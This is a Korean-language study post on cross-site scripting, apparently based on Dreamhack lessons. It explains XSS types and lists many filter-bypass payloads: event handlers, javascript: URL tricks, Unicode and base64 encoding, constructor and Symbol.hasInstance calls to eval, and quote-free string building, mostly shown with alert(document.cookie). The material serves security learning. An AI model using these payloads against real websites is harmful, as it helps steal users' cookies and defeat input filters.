XSS 공격은 동적처리가 이루어지는 웹 애플리케이션에 대해 악의적인 스크립트( 클라이언트 사이드 스크립트 중 JavaScript )를 삽입하여, 사용자에게 비정상적인 행위를 강제적으로 유도하는 공격이다.
XSS에 대한 구분은 아래와 같다. ( Universal XSS는 이번 정리를 통해 처음 알게되었다. https://github.com/Metnew/uxss-db?tab=readme-ov-file )
DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS ( Fragment는 서버 요청/응답 에 포함되지 않는다. ) |
Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS |
Stored XSS | XSS에 사용되는 악성 스크립트가 DB에 저장되고 서버의 응답에 담겨오는 XSS |
Universal XSS | 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS |
DOM XSS와 Reflected XSS 의 차이는 사용자 입력 값에 대한 페이지 구성을 어디서 하냐로 나뉠 수 있다. DOM XSS는 실제 서버 단에서 페이지를 구성하지 않고, 웹 브라우저에서 사용자의 입력 값에 따른 페이지 구성 후 악성 스크립트가 발생하는 취약점이다. ( Dreamhack XSS - 2 문제를 예로 들면, vuln 페이지에서 param에 입력 값을 넣지만, response를 받을 때, 입력한 인자 값이 페이지에 적혀 반환되지 않는다. 그리고 <script> 부분을 보면, 입력 값에 대한 처리를 웹 브라우저에서 함을 볼 수 있다. )
이제 XSS Filtering Bypass 에 대해 학습해 보도록 한다. ( 등장하는 필터링 기법들은 XSS를 막는 근본적인 방법이 아님 )
이벤트 핸들러 속성
[onload 이벤트 핸들러 예시]
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 핸들러 실행 -->
[onerror 이벤트 핸들러 예시]
<img src="about:invalid" onerror="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 핸들러 실행 -->
[onfocus 이벤트 핸들러 예시]
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- → autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함,
포커스된 직후 onfocus 핸들러 실행 -->
onfocus 이벤트 핸들러 같은 경우는 input 태그에 커서를 클릭하여 포커스가 되면 실행되는 이벤트 핸들러이다. 일반적인 공격 상황에서 input 태그의 autofocus 속성을 이용해 자동으로 포커스 시키거나, url의 hash 부분에 input 태그의 id 속성 값을 입력해 자동으로 포커스 되도록 한다. ( http://dreamhack.io/#inputID )
활성 하이퍼링크
[a 태그 및 iframe 태그 예시]
<a href="javascript:alert(document.cookie)">Dreamhack!</a>
<iframe src="javascript:alert(document.domain)">
HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있다. 이 중 javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 한다. 아래와 같이 URL을 속성 값으로 받는 a 태그나 iframe 태그 등에 사용할 수 있다. 이 때문에 XSS 키워드를 필터링할 때 javascript: 스키마를 사용하지 못하도록 필터링하는 경우가 존재한다
[특수 문자를 포함한 우회 예시]
<a href="\1\4jAVasC\triPT:alert(document.cookie)">Dreamhack!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
이 경우에는 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화 (Normalization)를 이용해 우회할 수 있는 경우가 존재한다. 정규화는 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정이다. 이 과정에서 \x01, \x04, \t와 같은 특수 문자들이 제거되고, 스키마의 대소문자가 통일된다.
( https://en.wikipedia.org/wiki/URI_normalization )
[HTML Entity Encoding을 통한 우회 예시]
<a href="\1JavasCr\tip&tab;:alert(document.cookie);">Dreamhack!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
자바스크립트에서는 URL 객체를 통해 URL을 직접 정규화할 수 있으며, protocol, hostname 등 URL의 각종 정보를 추출할 수 있다.
대문자 혹은 소문자 만을 구분하는 필터 우회
HTML은 문법 상 태그와 속성에서 대소문자를 구분하지 않기 때문에 아래와 같은 방법으로 우회할 수 있다.
<sCRipT>alert(12345)</scriPT> 스크립팅 발생
<sCRipT>AlErt(789)</scriPT> 스크립팅 발생 X
<img src=x: oneRroR=alert(document.cookie) /> 스크립팅 발생
<ImG Src=x: oneRroR=alert(document.domain) /> 스크립팅 발생
잘못된 정규표현식을 사용한 필터 우회
[스크립트 태그 내 데이터 존재 여부 검사]
/<script[^>]*>[^<]/i
[스크립트 태그의 src 속성을 이용한 검사 우회]
<script src="data:,alert(document.cookie)"></script>
[img 태그의 on 이벤트 핸들러 검사]
/<img.*on/i
[줄바꿈 문자를 이용한 검사 우회]
<img src=""\nonerror="alert(document.cookie)"/>
img 태그에 on 이벤트 핸들러가 존재하는지 검사하는 정규 표현식이다. 검사를 살펴보면, 멀티 라인에 대한 검사가 존재하지 않기 때문에 줄 바꿈 문자를 이용해 우회할 수 있다.
특정 태그 및 속성 필터링 다른 태그 및 속성 사용으로 우회
[태그 검사]
<script|<img|<input
[태그 검사 우회]
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
[on 이벤트 핸들러 및 멀티 라인 문자 검사]
x => !/<script|<img|<input|<.*on/is.test(x)
[on 이벤트 핸들러 및 멀티 라인 문자 검사 우회]
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
iframe 태그의 src 속성은 URL을 인자로 받기 때문에 활성 하이퍼링크를 이용해 자바스크립트 코드를 삽입하는 것이 가능하다. 혹은 srcdoc 속성을 이용해 inner frame 내에 새로운 XSS 공격 코드를 입력하는 것도 가능하다. 이때 HTML의 속성 내에 들어가기 때문에 HTML Entity Encoding으로 기존 필터링을 우회하는 것이 가능하다.
( https://www.tcpschool.com/html-tag-attrs/iframe-srcdoc )
태그와 속성 기반 필터링 실습
<iframe srcdoc='<img src=about: onerror=parent.alert(document.domain)>'></iframe>
자바스크립트 함수 및 키워드 필터링
[Unicode escape sequence를 통한 우회]
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
자바스크립트는 Unicode escape sequence을 지원한다. Unicode escape sequence은 "\uAC00" == "가"와 같이 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법이다. 이를 이용해 필터링된 문자열을 Unicode escape sequence로 변환해 우회하는 것이 가능하다.
[Computed member access를 이용한 우회]
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
다음으로 자바스크립트는 Computed member access를 지원한다. Computed member access는 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능이다.
document["coo"+"kie"] == document ["cookie"] == document.cookie
또한, XSS 공격 구문의 자바스크립트 키워드를 필터링한 경우에는 우회할 수 있는 방법은 굉장히 다양하다. 다음은 XSS 공격에 흔히 사용되는 구문과 필터링 우회를 위해 사용될 수 있는 대체 예시이다.
구문 | 대체 구문 |
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 | window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기 |
window | self, this |
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근 |
극단적인 사례로 자바스크립트의 언어적 특성을 활용하면 6개의 문자([, ], (, ),!, +)만으로 모든 동작을 수행할 수 있다.
( 하지만 XSS 공격 구문의 길이가 늘어난다는 단점이 존재한다. https://jsfuck.com/ )
필터링 혹은 인코딩/디코딩 등의 이유로 특정 문자( (),[],",' 등)를 사용하지 못하는 경우가 있다. 자바스크립트는 다양한 문법을 지원하는 언어로써 해당 문자를 대체할 수 있는 방법들을 통해 우회하여 공격할 수 있다.
문자열 선언
만약 문자열을 사용할 때 필요한 따옴표 (", ')가 필터링되어 있다면 템플릿 리터럴 (Template Literals)을 사용할 수 있다. 템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴이며, 여러 줄로 이뤄진 문자열과 문자를 보관하기 위한 기능으로 이용할 수 있다.
템플릿 리터럴은 백틱 (`)을 이용해 선언할 수 있으며 내장된 ${} 표현식을 이용해 다른 변수나 식을 사용할 수 있다.
[템플릿 리터럴 사용 예시]
var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
따옴표와 백틱 ( ` ) 모두 사용을 하지 못할 때에도, 문자열을 만드는 방법은 존재한다.
RegExp 객체 사용하기
/Hello World!/ 형태로 RegExp 객체를 생성하고 객체의 패턴 부분을 가져옴으로써 문자열을 만들 수 있다.
[RegExp 객체를 이용한 모습]
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
( https://www.hahwul.com/2017/01/10/web-hacking-bypass-xssquotation/ )
String.fromCharCode 함수 사용
String.fromCharCode 함수는 유니코드의 범위 중 파라미터로 전달된 수에 해당하는 문자를 반환한다.
[fromCharCode 함수를 사용한 모습]
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
기본 내장 함수나 객체의 문자를 사용하는 방법
내장 함수나 객체를 toString 함수를 이용해 문자열로 변경하게 되면 함수나 객체의 형태가 문자열로 변환된다. 원하는 문자열을 만드는데 필요한 문자들을 내장 함수나 객체로부터 한 글자씩 가져와 문자열을 만들 수 있다.
[내장 함수 및 객체 문자를 이용한 모습]
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
history.toString() 은 "[object History]" 문자열을 반환하고, URL.toString()은 "function URL() { [native code] }" 문자열을 반환한다. 또한 history+[]; history+0;처럼 함수나 객체와 +, - 와 같은 산술 연산을 수행하게 되면 연산을 위해 객체 내부적으로 toString 함수를 호출해 문자열로 변환한 후에 연산을 수행한다.
숫자 객체의 진법 변환
10진수 숫자를 36진수로 변경하여 아스키 영어 소문자 범위를 모두 생성할 수 있다. 문법 오류를 피하기 위해 괄호를 이용하거나, 점 두 개를 쓰거나, 소수점으로 인식되지 않도록 공백과 점을 조합해 사용할 수 있다.
[진수 변환을 이용한 모습]
var foo = (29234652).toString(36); // "hello"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
함수 호출
일반적으로 자바스크립트의 함수를 호출하기 위해서는 아래와 같이 소괄호 (Parentheses, ()) 또는 Tagged Templates (백틱, `)을 사용해야 한다.
[함수 호출 예시]
alert(1); // Parentheses
alert`1`; // Tagged Templates
만약 소괄호와 백틱 문자가 모두 필터링 되어있는 경우, 다음과 같은 방법들로 우회할 수 있다.
javascript 스키마를 이용한 location 변경
javascript: 스키마를 이용하면 URL을 이용해 자바스크립트 코드를 실행시킬 수 있다. 이를 이용해 현재 location 객체를 변조하는 방식으로 자바스크립트 코드를 실행하는 것이 가능하다.
[javascript 스키마를 이용한 우회 예시]
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
Symbol.hasInstance 오버라이딩
자바스크립트에서는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol 또한 속성 명칭으로 사용할 수 있다.
Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 오버라이드(재정의)할 수 있다. 즉, O instanceof C를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메서드로 호출하여 instanceof 연산자의 결과 값으로 사용하게 된다. 이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메서드로 호출되도록 할 수 있다.
[hasInstance를 이용한 우회 예시]
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
( {[Symbol.hasInstance]:eval} 의 쓰임.. https://ar9ang3.tistory.com/34 )
document.body.innerHTML 추가
자바스크립트에서는 문서 내에 새로운 HTML 코드를 추가하는 것이 가능하다. document.body.innerHTML 에 코드를 추가할 경우 새로운 HTML 코드가 문서에 추가되고, 이를 이용해 자바스크립트 코드를 실행할 수 있다. 이때 주의할 점은 innerHTML로 HTML 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않는다. 따라서 이벤트 핸들러를 이용해 자바스크립트 코드를 실행해야 한다.
[innerHTML을 이용한 우회 예시]
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
자바스크립트 함수 및 키워드 필터링 실습
this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
"alert", "window" 또는 "document" 문자열이 포함되어 있는지 확인하는 필터링이 존재할 때, 위와 같이 this[propertyKey] 문법을 이용해 bypass 할 수 있다.
Filtering 조건 : /alert|window|document|eval|cookie|this|self|parent|top|opener|function|[\-+\\<>{}=]/
주요 키워드 이외에도 특수문자 등을 탐지 중 이다. decodeURI, atob와 constructor 속성을 함께 사용하면 원하는 임의의 코드를 실행할 수 있다.
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Filtering 조건 : if(/[()"'`]/img.test(data))
(, ), ", ', ` 문자들에 대해 탐지하는 필터링이다. 앞서 배운 방법들을 조합하여 필터링을 우회할 수 있다.
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
( /alert/.source 와 /alert/ console 창에 입력 후 비교해 보기 )
참고
( Dreamhack 기반 학습 후 포스팅 진행 )
blind xss
https://www.hahwul.com/2017/11/12/web-hacking-blind-xsscross-site/
uxss
https://zofixer.com/what-is-universal-cross-site-scripting-uxss-vulnerability/
js symbol 이해
https://it-eldorado.tistory.com/149